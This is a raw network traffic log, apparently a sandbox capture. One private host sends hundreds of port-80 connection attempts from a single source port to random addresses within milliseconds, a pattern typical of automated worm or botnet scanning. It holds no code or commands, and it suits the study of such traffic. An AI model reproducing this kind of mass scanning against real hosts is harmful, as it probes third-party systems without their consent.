Mar 21, 2024 05:21:09.848828077 CET	17298	80	192.168.2.14	53.175.142.238
Mar 21, 2024 05:21:09.848830938 CET	17298	80	192.168.2.14	171.228.198.99
Mar 21, 2024 05:21:09.848845005 CET	17298	80	192.168.2.14	10.58.249.48
Mar 21, 2024 05:21:09.848851919 CET	17298	80	192.168.2.14	1.177.203.77
Mar 21, 2024 05:21:09.848879099 CET	17298	80	192.168.2.14	9.18.113.177
Mar 21, 2024 05:21:09.848886967 CET	17298	80	192.168.2.14	112.199.201.95
Mar 21, 2024 05:21:09.848906040 CET	17298	80	192.168.2.14	158.215.119.171
Mar 21, 2024 05:21:09.848915100 CET	17298	80	192.168.2.14	17.10.148.87
Mar 21, 2024 05:21:09.848917961 CET	17298	80	192.168.2.14	218.115.104.91
Mar 21, 2024 05:21:09.848933935 CET	17298	80	192.168.2.14	170.166.49.36
Mar 21, 2024 05:21:09.848934889 CET	17298	80	192.168.2.14	60.1.120.18
Mar 21, 2024 05:21:09.848938942 CET	17298	80	192.168.2.14	255.246.120.127
Mar 21, 2024 05:21:09.848939896 CET	17298	80	192.168.2.14	82.129.111.157
Mar 21, 2024 05:21:09.848954916 CET	17298	80	192.168.2.14	241.56.48.120
Mar 21, 2024 05:21:09.848957062 CET	17298	80	192.168.2.14	81.101.39.186
Mar 21, 2024 05:21:09.848969936 CET	17298	80	192.168.2.14	79.211.153.188
Mar 21, 2024 05:21:09.848975897 CET	17298	80	192.168.2.14	131.219.224.249
Mar 21, 2024 05:21:09.848978043 CET	17298	80	192.168.2.14	150.98.26.114
Mar 21, 2024 05:21:09.848982096 CET	17298	80	192.168.2.14	170.147.62.224
Mar 21, 2024 05:21:09.848989010 CET	17298	80	192.168.2.14	37.39.124.31
Mar 21, 2024 05:21:09.849021912 CET	17298	80	192.168.2.14	8.99.212.223
Mar 21, 2024 05:21:09.849021912 CET	17298	80	192.168.2.14	148.243.219.251
Mar 21, 2024 05:21:09.849036932 CET	17298	80	192.168.2.14	61.95.18.63
Mar 21, 2024 05:21:09.849036932 CET	17298	80	192.168.2.14	172.199.11.84
Mar 21, 2024 05:21:09.849036932 CET	17298	80	192.168.2.14	10.186.96.203
Mar 21, 2024 05:21:09.849056005 CET	17298	80	192.168.2.14	24.79.122.48
Mar 21, 2024 05:21:09.849067926 CET	17298	80	192.168.2.14	67.74.108.12
Mar 21, 2024 05:21:09.849072933 CET	17298	80	192.168.2.14	30.75.12.226
Mar 21, 2024 05:21:09.849078894 CET	17298	80	192.168.2.14	174.120.91.222
Mar 21, 2024 05:21:09.849083900 CET	17298	80	192.168.2.14	46.37.49.56
Mar 21, 2024 05:21:09.849090099 CET	17298	80	192.168.2.14	218.66.92.213
Mar 21, 2024 05:21:09.849106073 CET	17298	80	192.168.2.14	137.238.77.43
Mar 21, 2024 05:21:09.849112988 CET	17298	80	192.168.2.14	144.57.55.208
Mar 21, 2024 05:21:09.849118948 CET	17298	80	192.168.2.14	85.34.77.9
Mar 21, 2024 05:21:09.849123955 CET	17298	80	192.168.2.14	128.113.106.242
Mar 21, 2024 05:21:09.849123955 CET	17298	80	192.168.2.14	123.212.89.148
Mar 21, 2024 05:21:09.849128962 CET	17298	80	192.168.2.14	39.218.56.60
Mar 21, 2024 05:21:09.849140882 CET	17298	80	192.168.2.14	78.109.189.199
Mar 21, 2024 05:21:09.849140882 CET	17298	80	192.168.2.14	191.138.238.89
Mar 21, 2024 05:21:09.849147081 CET	17298	80	192.168.2.14	11.79.61.4
Mar 21, 2024 05:21:09.849149942 CET	17298	80	192.168.2.14	157.103.177.102
Mar 21, 2024 05:21:09.849159002 CET	17298	80	192.168.2.14	54.103.202.15
Mar 21, 2024 05:21:09.849167109 CET	17298	80	192.168.2.14	214.245.63.187
Mar 21, 2024 05:21:09.849169970 CET	17298	80	192.168.2.14	141.87.64.86
Mar 21, 2024 05:21:09.849181890 CET	17298	80	192.168.2.14	35.217.4.78
Mar 21, 2024 05:21:09.849201918 CET	17298	80	192.168.2.14	218.114.194.148
Mar 21, 2024 05:21:09.849203110 CET	17298	80	192.168.2.14	209.12.193.211
Mar 21, 2024 05:21:09.849203110 CET	17298	80	192.168.2.14	123.144.163.107
Mar 21, 2024 05:21:09.849203110 CET	17298	80	192.168.2.14	105.102.50.129
Mar 21, 2024 05:21:09.849203110 CET	17298	80	192.168.2.14	223.188.170.147
Mar 21, 2024 05:21:09.849219084 CET	17298	80	192.168.2.14	150.150.220.148
Mar 21, 2024 05:21:09.849221945 CET	17298	80	192.168.2.14	64.52.93.2
Mar 21, 2024 05:21:09.849235058 CET	17298	80	192.168.2.14	130.54.78.56
Mar 21, 2024 05:21:09.849250078 CET	17298	80	192.168.2.14	172.64.1.95
Mar 21, 2024 05:21:09.849252939 CET	17298	80	192.168.2.14	63.235.255.31
Mar 21, 2024 05:21:09.849252939 CET	17298	80	192.168.2.14	23.224.5.18
Mar 21, 2024 05:21:09.849263906 CET	17298	80	192.168.2.14	115.254.146.197
Mar 21, 2024 05:21:09.849277020 CET	17298	80	192.168.2.14	223.12.226.90
Mar 21, 2024 05:21:09.849284887 CET	17298	80	192.168.2.14	114.163.116.165
Mar 21, 2024 05:21:09.849289894 CET	17298	80	192.168.2.14	3.206.189.111
Mar 21, 2024 05:21:09.849293947 CET	17298	80	192.168.2.14	63.219.115.131
Mar 21, 2024 05:21:09.849309921 CET	17298	80	192.168.2.14	99.164.84.192
Mar 21, 2024 05:21:09.849324942 CET	17298	80	192.168.2.14	135.218.28.33
Mar 21, 2024 05:21:09.849332094 CET	17298	80	192.168.2.14	39.114.159.128
Mar 21, 2024 05:21:09.849334955 CET	17298	80	192.168.2.14	39.86.140.108
Mar 21, 2024 05:21:09.849353075 CET	17298	80	192.168.2.14	102.63.159.33
Mar 21, 2024 05:21:09.849355936 CET	17298	80	192.168.2.14	10.59.238.100
Mar 21, 2024 05:21:09.849370003 CET	17298	80	192.168.2.14	28.110.219.134
Mar 21, 2024 05:21:09.849370003 CET	17298	80	192.168.2.14	149.2.252.240
Mar 21, 2024 05:21:09.849370003 CET	17298	80	192.168.2.14	121.13.73.237
Mar 21, 2024 05:21:09.849373102 CET	17298	80	192.168.2.14	54.55.41.214
Mar 21, 2024 05:21:09.849387884 CET	17298	80	192.168.2.14	6.100.235.11
Mar 21, 2024 05:21:09.849390984 CET	17298	80	192.168.2.14	22.24.106.145
Mar 21, 2024 05:21:09.849399090 CET	17298	80	192.168.2.14	189.69.171.118
Mar 21, 2024 05:21:09.849402905 CET	17298	80	192.168.2.14	160.165.193.139
Mar 21, 2024 05:21:09.849411964 CET	17298	80	192.168.2.14	3.205.10.7
Mar 21, 2024 05:21:09.849421978 CET	17298	80	192.168.2.14	67.169.167.158
Mar 21, 2024 05:21:09.849426985 CET	17298	80	192.168.2.14	187.123.3.227
Mar 21, 2024 05:21:09.849433899 CET	17298	80	192.168.2.14	249.229.237.55
Mar 21, 2024 05:21:09.849455118 CET	17298	80	192.168.2.14	84.70.237.110
Mar 21, 2024 05:21:09.849463940 CET	17298	80	192.168.2.14	241.223.249.134
Mar 21, 2024 05:21:09.849472046 CET	17298	80	192.168.2.14	66.56.239.4
Mar 21, 2024 05:21:09.849472046 CET	17298	80	192.168.2.14	210.253.30.251
Mar 21, 2024 05:21:09.849472046 CET	17298	80	192.168.2.14	89.178.38.169
Mar 21, 2024 05:21:09.849473000 CET	17298	80	192.168.2.14	156.55.98.128
Mar 21, 2024 05:21:09.849476099 CET	17298	80	192.168.2.14	252.192.4.93
Mar 21, 2024 05:21:09.849497080 CET	17298	80	192.168.2.14	167.228.119.189
Mar 21, 2024 05:21:09.849505901 CET	17298	80	192.168.2.14	70.36.109.84
Mar 21, 2024 05:21:09.849512100 CET	17298	80	192.168.2.14	129.64.119.238
Mar 21, 2024 05:21:09.849514008 CET	17298	80	192.168.2.14	200.77.135.75
Mar 21, 2024 05:21:09.849519014 CET	17298	80	192.168.2.14	17.243.206.205
Mar 21, 2024 05:21:09.849523067 CET	17298	80	192.168.2.14	117.3.191.98
Mar 21, 2024 05:21:09.849536896 CET	17298	80	192.168.2.14	245.241.178.15
Mar 21, 2024 05:21:09.849541903 CET	17298	80	192.168.2.14	62.183.169.185
Mar 21, 2024 05:21:09.849548101 CET	17298	80	192.168.2.14	165.190.64.98
Mar 21, 2024 05:21:09.849548101 CET	17298	80	192.168.2.14	191.165.73.8
Mar 21, 2024 05:21:09.849555969 CET	17298	80	192.168.2.14	55.62.128.187
Mar 21, 2024 05:21:09.849564075 CET	17298	80	192.168.2.14	153.167.245.109
Mar 21, 2024 05:21:09.849570036 CET	17298	80	192.168.2.14	85.73.20.155
Mar 21, 2024 05:21:09.849580050 CET	17298	80	192.168.2.14	96.142.53.103
Mar 21, 2024 05:21:09.849580050 CET	17298	80	192.168.2.14	193.98.158.215
Mar 21, 2024 05:21:09.849587917 CET	17298	80	192.168.2.14	114.141.44.50
Mar 21, 2024 05:21:09.849610090 CET	17298	80	192.168.2.14	8.248.29.187
Mar 21, 2024 05:21:09.849627018 CET	17298	80	192.168.2.14	15.77.143.36
Mar 21, 2024 05:21:09.849632025 CET	17298	80	192.168.2.14	211.53.136.191
Mar 21, 2024 05:21:09.849632025 CET	17298	80	192.168.2.14	249.68.124.248
Mar 21, 2024 05:21:09.849632025 CET	17298	80	192.168.2.14	97.23.48.30
Mar 21, 2024 05:21:09.849642038 CET	17298	80	192.168.2.14	20.32.251.1
Mar 21, 2024 05:21:09.849649906 CET	17298	80	192.168.2.14	103.170.249.183
Mar 21, 2024 05:21:09.849654913 CET	17298	80	192.168.2.14	191.192.17.21
Mar 21, 2024 05:21:09.849666119 CET	17298	80	192.168.2.14	106.22.152.116
Mar 21, 2024 05:21:09.849672079 CET	17298	80	192.168.2.14	60.247.246.133
Mar 21, 2024 05:21:09.849673033 CET	17298	80	192.168.2.14	18.178.159.181
Mar 21, 2024 05:21:09.849675894 CET	17298	80	192.168.2.14	28.163.189.150
Mar 21, 2024 05:21:09.849675894 CET	17298	80	192.168.2.14	148.188.159.78
Mar 21, 2024 05:21:09.849683046 CET	17298	80	192.168.2.14	253.179.220.250
Mar 21, 2024 05:21:09.849689960 CET	17298	80	192.168.2.14	176.206.114.118
Mar 21, 2024 05:21:09.849695921 CET	17298	80	192.168.2.14	198.80.63.134
Mar 21, 2024 05:21:09.849709988 CET	17298	80	192.168.2.14	154.200.94.247
Mar 21, 2024 05:21:09.849728107 CET	17298	80	192.168.2.14	44.131.161.8
Mar 21, 2024 05:21:09.849737883 CET	17298	80	192.168.2.14	73.36.196.210
Mar 21, 2024 05:21:09.849750042 CET	17298	80	192.168.2.14	54.213.234.128
Mar 21, 2024 05:21:09.849751949 CET	17298	80	192.168.2.14	93.220.239.89
Mar 21, 2024 05:21:09.849756002 CET	17298	80	192.168.2.14	105.95.239.191
Mar 21, 2024 05:21:09.849770069 CET	17298	80	192.168.2.14	180.227.239.159
Mar 21, 2024 05:21:09.849776030 CET	17298	80	192.168.2.14	79.241.94.224
Mar 21, 2024 05:21:09.849788904 CET	17298	80	192.168.2.14	24.208.191.233
Mar 21, 2024 05:21:09.849792004 CET	17298	80	192.168.2.14	88.149.98.164
Mar 21, 2024 05:21:09.849806070 CET	17298	80	192.168.2.14	5.79.188.169
Mar 21, 2024 05:21:09.849812031 CET	17298	80	192.168.2.14	183.255.16.220
Mar 21, 2024 05:21:09.849822998 CET	17298	80	192.168.2.14	35.250.168.138
Mar 21, 2024 05:21:09.849831104 CET	17298	80	192.168.2.14	212.147.32.254
Mar 21, 2024 05:21:09.849831104 CET	17298	80	192.168.2.14	99.82.67.200
Mar 21, 2024 05:21:09.849831104 CET	17298	80	192.168.2.14	18.186.233.38
Mar 21, 2024 05:21:09.849845886 CET	17298	80	192.168.2.14	181.70.198.145
Mar 21, 2024 05:21:09.849853039 CET	17298	80	192.168.2.14	110.161.239.79
Mar 21, 2024 05:21:09.849859953 CET	17298	80	192.168.2.14	131.63.78.87
Mar 21, 2024 05:21:09.849860907 CET	17298	80	192.168.2.14	166.89.132.172
Mar 21, 2024 05:21:09.849867105 CET	17298	80	192.168.2.14	82.10.25.47
Mar 21, 2024 05:21:09.849874973 CET	17298	80	192.168.2.14	77.190.143.12
Mar 21, 2024 05:21:09.849874973 CET	17298	80	192.168.2.14	71.190.61.142
Mar 21, 2024 05:21:09.849884033 CET	17298	80	192.168.2.14	206.16.15.172
Mar 21, 2024 05:21:09.849884987 CET	17298	80	192.168.2.14	30.229.201.57
Mar 21, 2024 05:21:09.849884987 CET	17298	80	192.168.2.14	164.190.3.184
Mar 21, 2024 05:21:09.849895000 CET	17298	80	192.168.2.14	5.207.55.173
Mar 21, 2024 05:21:09.849924088 CET	17298	80	192.168.2.14	221.14.19.100
Mar 21, 2024 05:21:09.849935055 CET	17298	80	192.168.2.14	157.200.55.90
Mar 21, 2024 05:21:09.849935055 CET	17298	80	192.168.2.14	29.183.172.97
Mar 21, 2024 05:21:09.849935055 CET	17298	80	192.168.2.14	77.62.8.151
Mar 21, 2024 05:21:09.849951029 CET	17298	80	192.168.2.14	47.93.37.167
Mar 21, 2024 05:21:09.849994898 CET	17298	80	192.168.2.14	205.24.2.249
Mar 21, 2024 05:21:09.850003004 CET	17298	80	192.168.2.14	243.143.109.127
Mar 21, 2024 05:21:09.850008965 CET	17298	80	192.168.2.14	11.190.189.204
Mar 21, 2024 05:21:09.850029945 CET	17298	80	192.168.2.14	139.169.237.202
Mar 21, 2024 05:21:09.850039959 CET	17298	80	192.168.2.14	89.58.133.209
Mar 21, 2024 05:21:09.850061893 CET	17298	80	192.168.2.14	222.87.36.162
Mar 21, 2024 05:21:09.850063086 CET	17298	80	192.168.2.14	213.103.6.55
Mar 21, 2024 05:21:09.850070000 CET	17298	80	192.168.2.14	218.230.173.221
Mar 21, 2024 05:21:09.850071907 CET	17298	80	192.168.2.14	249.193.91.178
Mar 21, 2024 05:21:09.850150108 CET	17298	80	192.168.2.14	91.106.129.111
Mar 21, 2024 05:21:09.850153923 CET	17298	80	192.168.2.14	161.135.24.193
Mar 21, 2024 05:21:09.850161076 CET	17298	80	192.168.2.14	252.113.124.62
Mar 21, 2024 05:21:09.850166082 CET	17298	80	192.168.2.14	25.97.55.76
Mar 21, 2024 05:21:09.850187063 CET	17298	80	192.168.2.14	1.105.10.147
Mar 21, 2024 05:21:09.850198984 CET	17298	80	192.168.2.14	48.140.50.147
Mar 21, 2024 05:21:09.850198984 CET	17298	80	192.168.2.14	113.209.239.61
Mar 21, 2024 05:21:09.850214005 CET	17298	80	192.168.2.14	35.60.69.142
Mar 21, 2024 05:21:09.850240946 CET	17298	80	192.168.2.14	24.132.113.250
Mar 21, 2024 05:21:09.850244999 CET	17298	80	192.168.2.14	170.236.217.128
Mar 21, 2024 05:21:09.850267887 CET	17298	80	192.168.2.14	120.104.60.59
Mar 21, 2024 05:21:09.850269079 CET	17298	80	192.168.2.14	70.252.229.104
Mar 21, 2024 05:21:09.850270033 CET	17298	80	192.168.2.14	152.202.107.38
Mar 21, 2024 05:21:09.850274086 CET	17298	80	192.168.2.14	167.86.168.191
Mar 21, 2024 05:21:09.850279093 CET	17298	80	192.168.2.14	95.234.231.89
Mar 21, 2024 05:21:09.850282907 CET	17298	80	192.168.2.14	244.132.138.24
Mar 21, 2024 05:21:09.850300074 CET	17298	80	192.168.2.14	96.186.201.89
Mar 21, 2024 05:21:09.850310087 CET	17298	80	192.168.2.14	129.99.129.92
Mar 21, 2024 05:21:09.850310087 CET	17298	80	192.168.2.14	27.120.172.167
Mar 21, 2024 05:21:09.850327015 CET	17298	80	192.168.2.14	241.107.133.28
Mar 21, 2024 05:21:09.850327969 CET	17298	80	192.168.2.14	22.220.164.125
Mar 21, 2024 05:21:09.850333929 CET	17298	80	192.168.2.14	37.111.100.255
Mar 21, 2024 05:21:09.850334883 CET	17298	80	192.168.2.14	32.248.51.255
Mar 21, 2024 05:21:09.850343943 CET	17298	80	192.168.2.14	128.237.215.161
Mar 21, 2024 05:21:09.850375891 CET	17298	80	192.168.2.14	50.142.141.3
Mar 21, 2024 05:21:09.850378036 CET	17298	80	192.168.2.14	154.4.120.243
Mar 21, 2024 05:21:09.850378036 CET	17298	80	192.168.2.14	57.199.99.37
Mar 21, 2024 05:21:09.850387096 CET	17298	80	192.168.2.14	130.109.148.225
Mar 21, 2024 05:21:09.850409031 CET	17298	80	192.168.2.14	169.75.247.159
Mar 21, 2024 05:21:09.850415945 CET	17298	80	192.168.2.14	188.89.212.174
Mar 21, 2024 05:21:09.850418091 CET	17298	80	192.168.2.14	198.235.224.92
Mar 21, 2024 05:21:09.850419044 CET	17298	80	192.168.2.14	212.155.62.202
Mar 21, 2024 05:21:09.850430965 CET	17298	80	192.168.2.14	50.182.113.165
Mar 21, 2024 05:21:09.850433111 CET	17298	80	192.168.2.14	75.147.146.253
Mar 21, 2024 05:21:09.850435972 CET	17298	80	192.168.2.14	106.147.123.109
Mar 21, 2024 05:21:09.850442886 CET	17298	80	192.168.2.14	178.169.56.29
Mar 21, 2024 05:21:09.850465059 CET	17298	80	192.168.2.14	163.17.38.122
Mar 21, 2024 05:21:09.850481987 CET	17298	80	192.168.2.14	120.122.164.21
Mar 21, 2024 05:21:09.850486040 CET	17298	80	192.168.2.14	246.241.27.45
Mar 21, 2024 05:21:09.850492001 CET	17298	80	192.168.2.14	71.224.173.159
Mar 21, 2024 05:21:09.850492954 CET	17298	80	192.168.2.14	162.99.121.216
Mar 21, 2024 05:21:09.850500107 CET	17298	80	192.168.2.14	97.220.199.224
Mar 21, 2024 05:21:09.850522041 CET	17298	80	192.168.2.14	15.87.226.36
Mar 21, 2024 05:21:09.850527048 CET	17298	80	192.168.2.14	54.171.26.47
Mar 21, 2024 05:21:09.850536108 CET	17298	80	192.168.2.14	187.79.79.132
Mar 21, 2024 05:21:09.850541115 CET	17298	80	192.168.2.14	243.121.200.141
Mar 21, 2024 05:21:09.850545883 CET	17298	80	192.168.2.14	169.88.234.216
Mar 21, 2024 05:21:09.850574970 CET	17298	80	192.168.2.14	204.38.141.115
Mar 21, 2024 05:21:09.850577116 CET	17298	80	192.168.2.14	250.6.213.232
Mar 21, 2024 05:21:09.850577116 CET	17298	80	192.168.2.14	72.139.211.242
Mar 21, 2024 05:21:09.850591898 CET	17298	80	192.168.2.14	32.253.209.81
Mar 21, 2024 05:21:09.850596905 CET	17298	80	192.168.2.14	144.121.49.0
Mar 21, 2024 05:21:09.850611925 CET	17298	80	192.168.2.14	222.178.34.21
Mar 21, 2024 05:21:09.850615025 CET	17298	80	192.168.2.14	247.179.235.65
Mar 21, 2024 05:21:09.850631952 CET	17298	80	192.168.2.14	173.89.0.169
Mar 21, 2024 05:21:09.850644112 CET	17298	80	192.168.2.14	163.15.164.146
Mar 21, 2024 05:21:09.850647926 CET	17298	80	192.168.2.14	55.20.170.53
Mar 21, 2024 05:21:09.850651979 CET	17298	80	192.168.2.14	241.86.236.106
Mar 21, 2024 05:21:09.850665092 CET	17298	80	192.168.2.14	78.146.108.246
Mar 21, 2024 05:21:09.850672007 CET	17298	80	192.168.2.14	144.189.70.26
Mar 21, 2024 05:21:09.850672007 CET	17298	80	192.168.2.14	81.1.151.10
Mar 21, 2024 05:21:09.850687981 CET	17298	80	192.168.2.14	188.145.107.158
Mar 21, 2024 05:21:09.850697994 CET	17298	80	192.168.2.14	129.31.136.108
Mar 21, 2024 05:21:09.850708008 CET	17298	80	192.168.2.14	37.143.2.111
Mar 21, 2024 05:21:09.850714922 CET	17298	80	192.168.2.14	158.171.159.165
Mar 21, 2024 05:21:09.850716114 CET	17298	80	192.168.2.14	135.69.78.67
Mar 21, 2024 05:21:09.850725889 CET	17298	80	192.168.2.14	220.156.108.172
Mar 21, 2024 05:21:09.850735903 CET	17298	80	192.168.2.14	74.202.205.209
Mar 21, 2024 05:21:09.850744009 CET	17298	80	192.168.2.14	194.52.224.85
Mar 21, 2024 05:21:09.850749969 CET	17298	80	192.168.2.14	184.49.5.252
Mar 21, 2024 05:21:09.850761890 CET	17298	80	192.168.2.14	157.15.176.35
Mar 21, 2024 05:21:09.850770950 CET	17298	80	192.168.2.14	73.136.23.101
Mar 21, 2024 05:21:09.850770950 CET	17298	80	192.168.2.14	209.226.66.156
Mar 21, 2024 05:21:09.850770950 CET	17298	80	192.168.2.14	164.96.247.91
Mar 21, 2024 05:21:09.850779057 CET	17298	80	192.168.2.14	28.63.1.191
Mar 21, 2024 05:21:09.850784063 CET	17298	80	192.168.2.14	42.221.183.205
Mar 21, 2024 05:21:09.850788116 CET	17298	80	192.168.2.14	217.150.24.184
Mar 21, 2024 05:21:09.850812912 CET	17298	80	192.168.2.14	134.219.242.215
Mar 21, 2024 05:21:09.850817919 CET	17298	80	192.168.2.14	158.16.249.60
Mar 21, 2024 05:21:09.850826979 CET	17298	80	192.168.2.14	21.44.75.123
Mar 21, 2024 05:21:09.850832939 CET	17298	80	192.168.2.14	56.115.27.15
Mar 21, 2024 05:21:09.850847006 CET	17298	80	192.168.2.14	82.242.123.136
Mar 21, 2024 05:21:09.850847960 CET	17298	80	192.168.2.14	50.132.90.48
Mar 21, 2024 05:21:09.850850105 CET	17298	80	192.168.2.14	142.241.115.231
Mar 21, 2024 05:21:09.850858927 CET	17298	80	192.168.2.14	129.59.144.130
Mar 21, 2024 05:21:09.850871086 CET	17298	80	192.168.2.14	130.101.106.157
Mar 21, 2024 05:21:09.850878000 CET	17298	80	192.168.2.14	53.122.251.62
Mar 21, 2024 05:21:09.850884914 CET	17298	80	192.168.2.14	222.11.42.125
Mar 21, 2024 05:21:09.850884914 CET	17298	80	192.168.2.14	37.207.221.5
Mar 21, 2024 05:21:09.850898027 CET	17298	80	192.168.2.14	213.66.246.138
Mar 21, 2024 05:21:09.850898027 CET	17298	80	192.168.2.14	219.104.132.16
Mar 21, 2024 05:21:09.850907087 CET	17298	80	192.168.2.14	39.239.226.241
Mar 21, 2024 05:21:09.850914955 CET	17298	80	192.168.2.14	65.213.217.96
Mar 21, 2024 05:21:09.850925922 CET	17298	80	192.168.2.14	82.69.97.152
Mar 21, 2024 05:21:09.850931883 CET	17298	80	192.168.2.14	160.210.128.44
Mar 21, 2024 05:21:09.850931883 CET	17298	80	192.168.2.14	158.126.232.32
Mar 21, 2024 05:21:09.850939989 CET	17298	80	192.168.2.14	150.158.228.111
Mar 21, 2024 05:21:09.850953102 CET	17298	80	192.168.2.14	173.234.41.49
Mar 21, 2024 05:21:09.850954056 CET	17298	80	192.168.2.14	33.152.85.174
Mar 21, 2024 05:21:09.850958109 CET	17298	80	192.168.2.14	44.214.158.122
Mar 21, 2024 05:21:09.850965977 CET	17298	80	192.168.2.14	214.101.71.232
Mar 21, 2024 05:21:09.850980997 CET	17298	80	192.168.2.14	211.144.217.129
Mar 21, 2024 05:21:09.850980997 CET	17298	80	192.168.2.14	83.132.50.51
Mar 21, 2024 05:21:09.851003885 CET	17298	80	192.168.2.14	95.60.41.101
Mar 21, 2024 05:21:09.851003885 CET	17298	80	192.168.2.14	52.19.155.145
Mar 21, 2024 05:21:09.851005077 CET	17298	80	192.168.2.14	248.92.225.122
Mar 21, 2024 05:21:09.851021051 CET	17298	80	192.168.2.14	69.164.58.53
Mar 21, 2024 05:21:09.851036072 CET	17298	80	192.168.2.14	146.35.199.53
Mar 21, 2024 05:21:09.851038933 CET	17298	80	192.168.2.14	143.148.154.28
Mar 21, 2024 05:21:09.851038933 CET	17298	80	192.168.2.14	16.228.53.56
Mar 21, 2024 05:21:09.851056099 CET	17298	80	192.168.2.14	91.242.244.55
Mar 21, 2024 05:21:09.851056099 CET	17298	80	192.168.2.14	114.210.225.128
Mar 21, 2024 05:21:09.851070881 CET	17298	80	192.168.2.14	129.44.159.122
Mar 21, 2024 05:21:09.851077080 CET	17298	80	192.168.2.14	22.240.70.88
Mar 21, 2024 05:21:09.851080894 CET	17298	80	192.168.2.14	247.170.160.55
Mar 21, 2024 05:21:09.851089001 CET	17298	80	192.168.2.14	135.224.75.37
Mar 21, 2024 05:21:09.851089001 CET	17298	80	192.168.2.14	118.230.63.96
Mar 21, 2024 05:21:09.851102114 CET	17298	80	192.168.2.14	211.233.41.97
Mar 21, 2024 05:21:09.851105928 CET	17298	80	192.168.2.14	34.147.254.254
Mar 21, 2024 05:21:09.851111889 CET	17298	80	192.168.2.14	67.129.139.48
Mar 21, 2024 05:21:09.851119041 CET	17298	80	192.168.2.14	72.238.254.200
Mar 21, 2024 05:21:09.851128101 CET	17298	80	192.168.2.14	242.155.86.189
Mar 21, 2024 05:21:09.851140022 CET	17298	80	192.168.2.14	206.91.69.254
Mar 21, 2024 05:21:09.851145983 CET	17298	80	192.168.2.14	36.167.82.106
Mar 21, 2024 05:21:09.851147890 CET	17298	80	192.168.2.14	87.54.145.204
Mar 21, 2024 05:21:09.851149082 CET	17298	80	192.168.2.14	138.121.136.190
Mar 21, 2024 05:21:09.851155996 CET	17298	80	192.168.2.14	66.85.210.206
Mar 21, 2024 05:21:09.851156950 CET	17298	80	192.168.2.14	58.190.13.103
Mar 21, 2024 05:21:09.851156950 CET	17298	80	192.168.2.14	36.11.16.230
Mar 21, 2024 05:21:09.851160049 CET	17298	80	192.168.2.14	217.143.126.88
Mar 21, 2024 05:21:09.851176023 CET	17298	80	192.168.2.14	57.27.50.19
Mar 21, 2024 05:21:09.851181030 CET	17298	80	192.168.2.14	222.216.117.37
Mar 21, 2024 05:21:09.851181030 CET	17298	80	192.168.2.14	220.63.83.14
Mar 21, 2024 05:21:09.851186037 CET	17298	80	192.168.2.14	56.33.178.192
Mar 21, 2024 05:21:09.851196051 CET	17298	80	192.168.2.14	50.11.159.143
Mar 21, 2024 05:21:09.851203918 CET	17298	80	192.168.2.14	99.77.177.77
Mar 21, 2024 05:21:09.851203918 CET	17298	80	192.168.2.14	213.48.71.9
Mar 21, 2024 05:21:09.851217031 CET	17298	80	192.168.2.14	201.193.100.10
Mar 21, 2024 05:21:09.851222038 CET	17298	80	192.168.2.14	241.16.187.247
Mar 21, 2024 05:21:09.851232052 CET	17298	80	192.168.2.14	206.231.57.220
Mar 21, 2024 05:21:09.851241112 CET	17298	80	192.168.2.14	161.104.127.102
Mar 21, 2024 05:21:09.851247072 CET	17298	80	192.168.2.14	206.225.164.82
Mar 21, 2024 05:21:09.851262093 CET	17298	80	192.168.2.14	21.225.147.13
Mar 21, 2024 05:21:09.851265907 CET	17298	80	192.168.2.14	115.174.184.71
Mar 21, 2024 05:21:09.851265907 CET	17298	80	192.168.2.14	41.230.129.93
Mar 21, 2024 05:21:09.851281881 CET	17298	80	192.168.2.14	36.28.112.209
Mar 21, 2024 05:21:09.851285934 CET	17298	80	192.168.2.14	189.254.197.192
Mar 21, 2024 05:21:09.851288080 CET	17298	80	192.168.2.14	116.117.193.28
Mar 21, 2024 05:21:09.851290941 CET	17298	80	192.168.2.14	93.163.223.130
Mar 21, 2024 05:21:09.851305962 CET	17298	80	192.168.2.14	214.242.93.44
Mar 21, 2024 05:21:09.851305962 CET	17298	80	192.168.2.14	108.242.178.214
Mar 21, 2024 05:21:09.851309061 CET	17298	80	192.168.2.14	181.58.152.58
Mar 21, 2024 05:21:09.851315975 CET	17298	80	192.168.2.14	12.122.170.145
Mar 21, 2024 05:21:09.851325035 CET	17298	80	192.168.2.14	49.192.251.82
Mar 21, 2024 05:21:09.851325035 CET	17298	80	192.168.2.14	215.93.106.213
Mar 21, 2024 05:21:09.851332903 CET	17298	80	192.168.2.14	178.130.215.31
Mar 21, 2024 05:21:09.851341009 CET	17298	80	192.168.2.14	114.158.240.130
Mar 21, 2024 05:21:09.851341009 CET	17298	80	192.168.2.14	133.57.254.30
Mar 21, 2024 05:21:09.851382017 CET	17298	80	192.168.2.14	104.19.190.187
Mar 21, 2024 05:21:09.851514101 CET	17298	80	192.168.2.14	211.135.214.22
Mar 21, 2024 05:21:09.851515055 CET	17298	80	192.168.2.14	157.242.69.16
Mar 21, 2024 05:21:09.851516008 CET	17298	80	192.168.2.14	71.162.21.62
Mar 21, 2024 05:21:09.851531029 CET	17298	80	192.168.2.14	126.171.169.6
Mar 21, 2024 05:21:09.851541042 CET	17298	80	192.168.2.14	36.19.52.243
Mar 21, 2024 05:21:09.851550102 CET	17298	80	192.168.2.14	112.44.246.186
Mar 21, 2024 05:21:09.851556063 CET	17298	80	192.168.2.14	250.227.219.141
Mar 21, 2024 05:21:09.851561069 CET	17298	80	192.168.2.14	130.36.92.11
Mar 21, 2024 05:21:09.851564884 CET	17298	80	192.168.2.14	240.247.43.172
Mar 21, 2024 05:21:09.851588011 CET	17298	80	192.168.2.14	42.188.129.86
Mar 21, 2024 05:21:09.851613045 CET	17298	80	192.168.2.14	74.225.118.7
Mar 21, 2024 05:21:09.851613998 CET	17298	80	192.168.2.14	200.50.60.128
Mar 21, 2024 05:21:09.851613998 CET	17298	80	192.168.2.14	72.196.129.203
Mar 21, 2024 05:21:09.851620913 CET	17298	80	192.168.2.14	216.139.40.11
Mar 21, 2024 05:21:09.851625919 CET	17298	80	192.168.2.14	87.122.15.41
Mar 21, 2024 05:21:09.851627111 CET	17298	80	192.168.2.14	191.224.160.22
Mar 21, 2024 05:21:09.851630926 CET	17298	80	192.168.2.14	12.147.193.255
Mar 21, 2024 05:21:09.851650000 CET	17298	80	192.168.2.14	29.152.43.54
Mar 21, 2024 05:21:09.851664066 CET	17298	80	192.168.2.14	110.224.122.168
Mar 21, 2024 05:21:09.851680994 CET	17298	80	192.168.2.14	198.56.61.241
Mar 21, 2024 05:21:09.851680994 CET	17298	80	192.168.2.14	216.176.195.151
Mar 21, 2024 05:21:09.851684093 CET	17298	80	192.168.2.14	25.134.88.115
